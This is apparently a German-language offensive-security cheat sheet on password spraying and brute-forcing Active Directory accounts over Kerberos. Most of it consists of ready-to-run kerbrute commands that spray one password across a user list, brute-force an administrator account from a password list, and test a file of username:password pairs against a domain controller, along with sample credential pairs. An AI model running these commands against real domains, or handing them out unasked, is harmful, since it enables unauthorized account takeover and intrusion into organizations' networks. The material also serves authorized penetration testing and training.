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# Passwort-Spraying mit Kerberos
### Prinzip
**Passwort-Spraying** besteht darin, dasselbe Passwort bei mehreren Benutzern zu testen.
Im Gegensatz zu einem klassischen Brute-Force vermeiden wir es, viele Passwörter auf einem einzelnen Konto zu testen, was das Risiko einer Kontosperrung verringert.
### Passwort-Spray mit Kerbrute
Beispiel mit einem bestimmten Passwort:
{% code overflow="wrap" %}
```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```
{% endcode %}
Dieser Befehl testet das Passwort `Password123` bei allen Benutzern, die in `usernames.txt`.
### Brute-Force auf einen bestimmten Benutzer
Wenn wir mehrere Passwörter bei einem bestimmten Benutzer testen möchten:
{% code overflow="wrap" %}
```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```
{% endcode %}
Hier, `passwords.txt` enthält eine Passwortliste.
### Brute-Force mit Benutzer-/Passwort-Paaren
Wir können auch eine Datei mit Paaren im Format verwenden:
```
username:password
```
Beispiel:
```
Administrator:password12345
Jordan:hello1453
user1:Password123
```
Reihenfolge :
{% code overflow="wrap" %}
```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```
{% endcode %}
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